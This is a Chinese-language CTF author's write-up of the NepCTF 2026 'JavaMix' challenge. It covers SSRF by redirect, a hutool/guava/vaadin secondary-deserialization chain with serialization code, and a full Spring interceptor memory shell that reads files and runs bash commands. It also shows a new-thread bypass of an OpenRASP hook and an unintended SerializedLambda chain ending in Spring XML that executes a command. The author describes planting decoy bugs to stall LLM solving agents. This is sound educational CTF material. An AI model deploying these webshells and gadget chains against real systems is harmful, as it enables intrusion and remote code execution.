NepCTF2026-JavaMix
1diot9 Lv5

前言

这道题的主要考点有三个:

1、SSRF重定向获取WebService服务的接口和接口参数

2、hutools二次反序列化

3、Rasp新线程绕过

每一个考点单独拿出来都比较常规,但组合到一起,想要拿到flag就得仔细一点。

同时,我在题目里还设置了很多虚假漏洞点,用于分散LLM注意力。因为在测试时发现,当LLM在反序列化这一关没思路时,如果设置了其他看起来能够利用的虚假漏洞点,其注意力很可能会被分散一部分,从而形成“反序列化有点难,做不出”–>“看看其他漏洞点”–>“其他漏洞点也利用不了”–>“接着看反序列化,还是有点难,做不出”–>“再去看看其他漏洞点”的死循环。随着上下文的自动压缩,如果没有人为干预,对于一些上下文较小的模型,就很难做出这道题。当时使用gpt5.5 x20的套餐,在只提供服务器和题目附件的情况下,跑完了周额度的70%,还是没有解出题目。

设置虚假漏洞点,也是希望选手能够自己看一眼题目去确定方向,而不是完全交给Agent工具一把梭。最终的效果也还行,去掉ban后,只有7位选手拿到了flag,在整场比赛里算是比较难的一道题了。

然而,在看过选手的wp后,还是感叹现在的LLM太强大,在我自行多轮测试后,还是被找到了非预期,是一种从来没见到过的反序列化构造手法。

SSRF重定向

打开题目后,有6个明显的功能点,其中右下角的内部服务没法直接访问,且很明显是让我们通过SSRF去进行本地访问。

同时,通过题目源码,我们也能够知道,/services 接口下的路由会经过isInternalAddress判断,只允许内网访问:

img

不过可以发现,这里的访问控制是有问题的。第一个if通过equals比较,说明/services无法通过GET和POST从外网访问。第二个if说明无法从外网发起任何GET请求。但/services/xxx 是可以直接从外网发起POST请求的。

这里的设计是为了让选手通过SSRF GET拿到内网接口文档后,直接从外网通过POST进行攻击利用,这样即考察了SSRF,也不会太繁琐。

可以看到,我特意在附件中隐藏了InternalDataServiceImpl的serviceName和方法内容,防止直接通过服务类推断出第二关的反序列化利用点:

img

而提供SSRF利用点的,很明显就是咨询抓取功能的 /fetch 接口:

img

这个接口类通过黑名单的方式,禁止了传统的IP编码绕过:

img

但对于重定向是没有防护的,所以可以直接在服务器上通过一次重定向进行绕过:

img

hutools二次反序列化

获取到DataSyncService服务的参数后,就可以确定反序列化入口,没脱敏的源码如下:

img

通过SafeObjectInputStream+自定义的黑名单,在resolveClass处进行过滤。这里就是非预期点,因为我没拦截resolveProxyClass.

简单看一下黑名单,常见的二次反序列化类和Sink类,比如SignedObject等都被封了,所以大概率是找一个新的二次反序列化点。

这里有三个依赖值得注意,guava、vaddin和hutool。

vaddin链比较熟悉,是通过toString–>getter实现任意public getter调用。

img

img

img

img

而hutool,如果有复现过前两年AliyunCTF题目,应该会比较熟悉。2024的chain17,hutools作为触发JDBC的链出现:

http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html

img

2025的Jtools,作为二次反序列化出现:

https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg?poc_token=HBaCZGqjO1RLDUdvBIPN-Fe5YcftRLp26G5kuyml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-> org.apache.fury.Fury#deserialize
-> java.util.PriorityQueue#siftUpUsingComparator
-> com.feilong.core.util.comparator.PropertyComparator#compare
-> cn.hutool.core.map.MapProxy#invoke [Proxy.newProxyInstance]
-> cn.hutool.core.convert.Convert#convert
-> cn.hutool.core.convert.Convert#convertWithCheck
-> cn.hutool.core.convert.ConverterRegistry#convert
-> cn.hutool.core.convert.ConverterRegistry#convertSpecial
-> cn.hutool.core.convert.AbstractConverter#convert
-> cn.hutool.core.convert.impl.BeanConverter#convertInternal
-> cn.hutool.core.util.ObjectUtil#deserialize
-> cn.hutool.core.util.SerializeUtil#deserialize
-> cn.hutool.core.io.IoUtil#readObj
-> cn.hutool.core.io.ValidateObjectInputStream#readObject [黑白名单为null]

通过MapProxy动态代理实现。

经常用JavaChains的师傅应该也见过:

img

这里MapProxy二次反序列化通过getBounds触发,正好对应了vaddin链能够触发任意getter方法。

最后的问题是,怎么触发toString,来触发vaddin链,这里就要用到guava依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
readObject->toString

* 链路:
* HashMap.readObject()
* → hash(key) → key.hashCode()
* → Equivalence$Wrapper.hashCode()
* → equivalence.hash(reference)
* → FunctionalEquivalence.doHash(reference)
* → function.apply(reference) // ToStringFunction
* → reference.toString() // PropertysetItem
* → PropertysetItem.toString()
* → NestedMethodProperty.getValue()
* → Method.invoke(instance, getter)

guava依赖里还有其他能够触发toString的链子,比如:

1
2
3
4
5
6
7
8
9
10
readObject->compare->toString

com.google.common.collect.ImmutableSetMultimap#readObject
com.google.common.collect.ImmutableSortedSet.Builder#add(E)
com.google.common.collect.ImmutableSortedSet.Builder#sortAndDedup
java.util.Arrays#sort(T[], int, int, java.util.Comparator<? super T>)
java.util.TimSort#sort
java.util.TimSort#countRunAndMakeAscending
com.google.common.collect.UsingToStringOrdering#compare
xxx.toString

如果研究过帆软channel反序列化,可能会对这条链子很熟悉,我之前的文章里也有提到过:

https://xz.aliyun.com/news/91802#immutablesetmultimap%E9%93%BE

img

后续做LLM自动反序列化链挖掘尝试时,拿guava开刀,又挖到不少能够触发toString的,所以这里用了其中一条来出题。

最后的二次反序列化链代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    @SuppressWarnings("unchecked")
private static Object wrapWithGuavaHashMap(Object toStringTarget) throws Exception {
Equivalence<Object> eq = (Equivalence<Object>) (Equivalence<?>)
Equivalence.equals().onResultOf(Functions.toStringFunction());

Equivalence.Wrapper<Object> wrapper = eq.wrap("dummy");

HashMap<Object, Object> map = new HashMap<>();
map.put(wrapper, "v");

Field refField = Equivalence.Wrapper.class.getDeclaredField("reference");
refField.setAccessible(true);
refField.set(wrapper, toStringTarget);

return map;
}

private static Object createPropertysetItem(Object instance, String property) throws Exception {
NestedMethodProperty<?> prop = new NestedMethodProperty<>(instance, property);
PropertysetItem item = new PropertysetItem();
item.addItemProperty("x", prop);
return item;
}

// innerPayload就是内层反序列化字节码,随便找条Templates的链子就行
private static byte[] buildOuterChain(byte[] innerPayload) throws Exception {
HashMap<String, Object> proxyMap = new HashMap<>();
proxyMap.put("margin", innerPayload);
MapProxy mapProxy = MapProxy.create(proxyMap);

Object proxy = Proxy.newProxyInstance(
Exploit.class.getClassLoader(),
new Class[]{Layout.MarginHandler.class, Serializable.class},
mapProxy
);

Object propertysetItem = createPropertysetItem(proxy, "margin");
Object hashMap = wrapWithGuavaHashMap(propertysetItem);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
return bos.toByteArray();
}

Rasp绕过

能够反序列化后,一般都会注入内存马或使用回显技术,直接读取flag,但直接命令执行是会跳转到OpenRASP的拦截页面的。但是这题其实从一开始就有提示,题目描述里有“某种能防御0day的设备“,很显然就是Rasp了。而且在系统诊断的ping功能处,我故意设置了一个漏洞,黑名单遗漏换行符 + find() 只校验首段,%0a 可注入命令,但注入后会被Rasp拦截:

img

img

img

但Rasp只拦截了命令执行的相关方法,文件操作的是不拦截的,所以可以注入能够进行文件操作的内存马,读取rasp文件,然后本地分析,内存马如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
package com.ctf.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.text.SimpleDateFormat;
import java.util.*;

/**
* Interceptor-based memory shell injected via TemplatesImpl deserialization.
* Extends AbstractTranslet (required by TemplatesImpl) + implements HandlerInterceptor.
*
* Triggered by: Header "X-Cmd-Token: s3cretKey"
* Actions: read, list, download, exec (Thread bypass for RASP)
*/
public class MemShell extends AbstractTranslet implements HandlerInterceptor {

private static final String TOKEN_HEADER = "X-Cmd-Token";
private static final String TOKEN_VALUE = "s3cretKey";

public MemShell() {
try {
registerInterceptor();
} catch (Exception ignored) {
}
}

private void registerInterceptor() throws Exception {
WebApplicationContext context = getWebApplicationContext();
if (context == null) return;

Map<String, AbstractHandlerMapping> mappings =
context.getBeansOfType(AbstractHandlerMapping.class);

for (AbstractHandlerMapping mapping : mappings.values()) {
Field f = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
@SuppressWarnings("unchecked")
List<Object> interceptors = (List<Object>) f.get(mapping);
if (interceptors != null) {
boolean exists = false;
for (Object obj : interceptors) {
if (obj.getClass().getName().equals(this.getClass().getName())) {
exists = true;
break;
}
}
if (!exists) {
interceptors.add(this);
}
}
}
}

private static WebApplicationContext getWebApplicationContext() {
// Method 1: Spring RequestContextHolder (works when triggered from DispatcherServlet)
try {
ServletRequestAttributes attrs =
(ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
WebApplicationContext ctx = (WebApplicationContext) attrs.getRequest().getServletContext()
.getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
if (ctx != null) return ctx;
} catch (Exception ignored) {
}

// Method 2: CXF PhaseInterceptorChain (works during SOAP request processing)
try {
Object message = Class.forName("org.apache.cxf.phase.PhaseInterceptorChain")
.getMethod("getCurrentMessage").invoke(null);
if (message != null) {
Object req = message.getClass().getMethod("get", Object.class)
.invoke(message, "HTTP.REQUEST");
if (req instanceof HttpServletRequest) {
javax.servlet.ServletContext sc = ((HttpServletRequest) req).getServletContext();
Object ctx = sc.getAttribute(
"org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
if (ctx == null) {
ctx = sc.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
}
if (ctx instanceof WebApplicationContext) return (WebApplicationContext) ctx;
}
}
} catch (Exception ignored) {
}

// Method 3: ContextLoader (traditional Spring with ContextLoaderListener)
try {
return org.springframework.web.context.ContextLoader.getCurrentWebApplicationContext();
} catch (Exception ignored) {
}
return null;
}

// ==================== HandlerInterceptor ====================

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
String token = request.getHeader(TOKEN_HEADER);
if (!TOKEN_VALUE.equals(token)) {
return true;
}

response.setCharacterEncoding("UTF-8");
String action = request.getParameter("action");
if (action == null) action = "read";

try {
switch (action) {
case "read":
doRead(request, response);
break;
case "list":
doList(request, response);
break;
case "download":
doDownload(request, response);
break;
case "exec":
doExec(request, response);
break;
default:
text(response, 400, "Unknown action. Supported: read, list, download, exec");
}
} catch (Exception e) {
text(response, 500, "ERROR: " + e.getMessage());
}

return false;
}

// ==================== Actions ====================

private void doRead(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}

File file = new File(path);
if (!file.exists()) {
text(resp, 404, "File not found: " + path);
return;
}
if (!file.isFile()) {
text(resp, 400, "Not a file: " + path);
return;
}
if (!file.canRead()) {
text(resp, 403, "Permission denied: " + path);
return;
}

resp.setContentType("text/plain; charset=UTF-8");
try (FileInputStream fis = new FileInputStream(file);
OutputStream out = resp.getOutputStream()) {
byte[] buf = new byte[8192];
int n;
while ((n = fis.read(buf)) > 0) {
out.write(buf, 0, n);
}
out.flush();
}
}

private void doList(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}

File dir = new File(path);
if (!dir.exists()) {
text(resp, 404, "Path not found: " + path);
return;
}
if (!dir.isDirectory()) {
text(resp, 400, "Not a directory: " + path);
return;
}

File[] files = dir.listFiles();
if (files == null) {
text(resp, 403, "Permission denied: " + path);
return;
}

Arrays.sort(files, (a, b) -> {
if (a.isDirectory() != b.isDirectory()) {
return a.isDirectory() ? -1 : 1;
}
return a.getName().compareToIgnoreCase(b.getName());
});

SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
StringBuilder sb = new StringBuilder();
sb.append("Directory: ").append(dir.getAbsolutePath())
.append(" (").append(files.length).append(" items)\n\n");

sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n",
"TYPE", "R", "W", "SIZE", "MODIFIED", "NAME"));
sb.append("--------------------------------------------------------------------------------\n");

for (File f : files) {
sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n",
f.isDirectory() ? "[DIR]" : "[FILE]",
f.canRead() ? "r" : "-",
f.canWrite() ? "w" : "-",
f.isFile() ? String.valueOf(f.length()) : "-",
sdf.format(new Date(f.lastModified())),
f.getName()));
}

text(resp, 200, sb.toString());
}

private void doDownload(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}

File file = new File(path);
if (!file.exists() || !file.isFile()) {
text(resp, 404, "Not a file: " + path);
return;
}
if (!file.canRead()) {
text(resp, 403, "Permission denied: " + path);
return;
}

resp.setContentType("application/octet-stream");
resp.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\"");
resp.setContentLengthLong(file.length());

try (FileInputStream fis = new FileInputStream(file);
OutputStream out = resp.getOutputStream()) {
byte[] buf = new byte[8192];
int n;
while ((n = fis.read(buf)) > 0) {
out.write(buf, 0, n);
}
out.flush();
}
}

private void doExec(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String cmd = req.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
text(resp, 400, "Missing parameter: cmd");
return;
}

CmdRunner runner = new CmdRunner(new String[]{"/bin/bash", "-c", cmd});
runner.start();
runner.join(10000);

text(resp, 200, runner.getOutput());
}

// ==================== Helpers ====================

private void text(HttpServletResponse resp, int status, String body) throws IOException {
resp.setStatus(status);
resp.setContentType("text/plain; charset=UTF-8");
resp.getWriter().write(body);
resp.getWriter().flush();
}

// ==================== AbstractTranslet (required stubs) ====================

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}

img

然后用download模式把rasp.jar下载到本地即可。

列根目录也能发现,flag.txt是没有读权限的:

img

但是getflag有执行权限,明显是把任意文件读获取flag这条路给堵死。

下载rasp后,分析Agent 入口 (RaspAgent.premain):

  1. 将 RASP jar 加入 bootstrap classpath(确保 JDK 核心类中注入的代码能访问 RaspChecker
  2. 注册 RaspTransformerClassFileTransformer
  3. 设置 NativeMethodPrefix = "$$rasp$$"(用于 hook native 方法)
  4. 对已加载的目标类执行 retransformClasses

Hook 点(4 个目标类,覆盖所有命令执行路径):

目标类 Hook 方法 拦截目的
java.lang.Runtime exec (所有重载) 标准命令执行入口
java.lang.Runtime load, loadLibrary 防止上传 .so 后通过 JNI 绕过
java.lang.ProcessBuilder start ProcessBuilder 方式执行
java.lang.ProcessImpl/UNIXProcess <init>, start, forkAndExec(native) 最底层拦截,防反射调用

NativeMethodPrefix 机制(防止反射调用 native 方法绕过):

RASP 对 ProcessImpl.forkAndExec(Linux 进程创建的 native 方法)使用 NativeMethodPrefix 技术:

  • 原始 native 方法 forkAndExec 被 JVM 重命名为 $$rasp$$forkAndExec
  • RASP 生成新的 Java 方法 forkAndExec,在方法入口插入 RaspChecker.shouldBlock() 检查后再委托给 native 方法
  • 即使通过 Unsafe.allocateInstance() 跳过构造函数后反射调用 forkAndExec,也会被新的 wrapper 方法拦截

拦截判定逻辑 (RaspChecker.shouldBlock()):

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static boolean shouldBlock() {
Thread currentThread = Thread.currentThread();
String threadName = currentThread.getName();

// 检查 1:线程名是否匹配 HTTP 请求处理线程
String[] HTTP_THREAD_PATTERNS = {
"http-nio-", "http-apr-", "catalina-exec-",
"exec-", "qtp", "XNIO-", "default task-"
};
boolean isHttpThread = false;
for (String pattern : HTTP_THREAD_PATTERNS) {
if (threadName.contains(pattern)) {
isHttpThread = true;
break;
}
}

// 检查 2:调用栈中是否包含 Web 框架帧
if (!isHttpThread) {
String[] WEB_CONTEXT_FRAMES = {
"javax.servlet.", "jakarta.servlet.",
"org.apache.catalina.", "org.apache.coyote.", "org.apache.tomcat.",
"org.apache.cxf.", "org.springframework.web.",
"org.eclipse.jetty.", "io.undertow."
};
StackTraceElement[] stack = currentThread.getStackTrace();
for (StackTraceElement frame : stack) {
for (String webFrame : WEB_CONTEXT_FRAMES) {
if (frame.getClassName().startsWith(webFrame)) {
isHttpThread = true;
break;
}
}
}
}

// 只有 HTTP 请求上下文中的命令执行才拦截
if (isHttpThread) {
logBlock(currentThread); // 打印 [OpenRASP] 拦截日志
return true;
}
return false;
}

核心缺陷:RASP 仅对 HTTP 请求上下文中的命令执行进行拦截,无法覆盖从 HTTP 线程中 fork 出的新线程。

这里就可以通过经典的新线程逃逸去绕过Rasp的Http上下文检测。

这是当时从腾讯Rasp挑战赛看到的一种绕过:

https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487523&idx=1&sn=97a5e73e91f765fbd695092880edb15a&poc_token=HCeRZGqjLloScuugDzXZ2lBAgw3vuo-X5sGmlDPs

img

这里是自己先通过反序列化加载了CmdRunner类,然后在内存马里调用,实现新线程绕过:

img

img

附件地址

完整的题目源码已经上传到我的仓库:

https://github.com/1diot9/CTFJavaChallenge/tree/main/2026/NepCTF/JavaMix

完整解题脚本在:

https://github.com/1diot9/CTFJavaChallenge/tree/main/2026/NepCTF/JavaMix/solve

非预期-黑名单绕过

这里选手采用的,是通过java.lang.invoke.SerializedLambda自定义一个恶意匿名类,然后在代理类的反序列化中,触发匿名类实现构造方法调用。这是我的一个知识盲区,之前从来没见到过这种手法,是从选手们的wp中学习的,至少有两位选手都采取了这种方式解题。我想这就是AI时代下的CTF的意义吧,总能找到题目的非预期,从而完善自己的知识面。

这里采用从sink–>source的分析逻辑。

首先,看到cn.hutool.core.lang.Singleton#get(java.lang.Class, java.lang.Object…)里的匿名类:

img

这个匿名类能够调用任意public构造方法。那么就联想到org.springframework.context.support.FileSystemXmlApplicationContext或org.springframework.context.support.ClassPathXmlApplicationContext去加载xml,从而实现任意代码执行。

通过下面的代码,我们能够提取出这个匿名类的完整类名:

img

然后通过java.lang.invoke.SerializedLambda去创建一个可序列化的匿名类:

img

这里的cn.hutool.core.lang.func.Func0 是为了创建一个能通过call延迟触发的匿名函数,类似下面:

1
2
Func0<String> f = () -> "hello";   // lambda 实现接口
f.call(); // 执行

那么现在就要找到哪里能够触发call,这里找到hibernate依赖里的org.hibernate.property.access.spi.GetterMethodImpl#get:

img

这里的getterMethod可以是任意public method,当然也可以是我们上面提到的call方法,而这里的owner参数,就是上面创建的恶意匿名函数。

现在就是想办法触发get方法。这里是一个难点,容易搞不清楚。

首先,要创建一个动态代理proxyMap,代理getter对象,如下:

img

这个动态代理比较特殊,同时代理了两个接口,第一个是org.hibernate.property.access.spi.Getter,第二个是java.util.Map,而Getter就是GetterMethodImpl的接口。

接着创建java.util.function.Function 对象:

img

forgedFunc0就是一开始创造的恶意匿名函数。

现在可以看调试了,从cn.hutool.core.comparator.FuncComparator#doCompare开始看:

img

这里调用apply,实际上是com.google.common.base.Functions.FunctionComposition#apply:

img

f是com.google.common.base.Functions.ConstantFunction#ConstantFunction,其apply方法永远返回value字段,也就是那个匿名函数:

img

g是com.google.common.base.Functions.FunctionForMapNoDefault#FunctionForMapNoDefault:

img

map是前面的proxyMap代理。前面说过,这个动态代理同时代理了两个接口,第一个是org.hibernate.property.access.spi.Getter,第二个是java.util.Map,而Getter就是GetterMethodImpl的接口。这两个接口都有get方法,但这里会优先调用Getter的get方法,这是java动态代理的特性,优先调用前面的接口方法。

所以实际上,这里最终就调用到了org.hibernate.property.access.spi.GetterMethodImpl#get。这样就串起来了。

最后的入口是com.google.common.collect.TreeMultiset。其在反序列化时,会重新一个个把元素add进来,在add进来时,就会调用compare进行比较,就会连接到cn.hutool.core.comparator.FuncComparator。

对应的poc部分:

img

对应的堆栈:

img

最终的堆栈为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
at org.springframework.context.support.FileSystemXmlApplicationContext.<init>(FileSystemXmlApplicationContext.java:85)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
at cn.hutool.core.util.ReflectUtil.newInstance(ReflectUtil.java:865)
at cn.hutool.core.lang.Singleton.lambda$get$3f3ed817$1(Singleton.java:39)
at cn.hutool.core.lang.Singleton$$Lambda$5.911312317.call(Unknown Source:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.hibernate.property.access.spi.GetterMethodImpl.get(GetterMethodImpl.java:42)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at cn.hutool.aop.interceptor.JdkInterceptor.invoke(JdkInterceptor.java:50)
at com.sun.proxy.$Proxy0.get(Unknown Source:-1)
at com.google.common.base.Functions$FunctionForMapNoDefault.apply(Functions.java:158)
at com.google.common.base.Functions$FunctionComposition.apply(Functions.java:260)
at cn.hutool.core.comparator.FuncComparator.doCompare(FuncComparator.java:49)
at cn.hutool.core.comparator.NullComparator.compare(NullComparator.java:44)
at com.google.common.collect.TreeMultiset$AvlNode.add(TreeMultiset.java:683)
at com.google.common.collect.TreeMultiset.add(TreeMultiset.java:275)
at com.google.common.collect.Serialization.populateMultiset(Serialization.java:135)
at com.google.common.collect.Serialization.populateMultiset(Serialization.java:120)
at com.google.common.collect.TreeMultiset.readObject(TreeMultiset.java:1100)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1185)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2345)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2236)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1692)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:508)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:466)
at com.ctf.poc.Tmp.main(Tmp.java:10)

最终的xml文件比较简单,找一个能创建子线程的方法调用即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runner"
class="org.springframework.scheduling.support.MethodInvokingRunnable">
<property name="staticMethod"
value="cn.hutool.core.util.RuntimeUtil.execForStr"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/sh</value>
<value>-c</value>
<value>/getflag > /tmp/javamix_flag 2>&1</value>
</array>
</list>
</property>
</bean>
<bean id="worker" class="java.lang.Thread" init-method="start">
<constructor-arg ref="runner"/>
</bean>

POC在https://github.com/1diot9/CTFJavaChallenge/blob/main/2026/NepCTF/JavaMix/solve/poc/src/main/java/com/ctf/poc/UnintendedGadget.java

总结

这次主要是学习了一下非预期解里的匿名函数利用和动态代理多接口代理下的特性。

希望下次还有机会给大家带来更好的题目。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 195.1k 访客数 访问量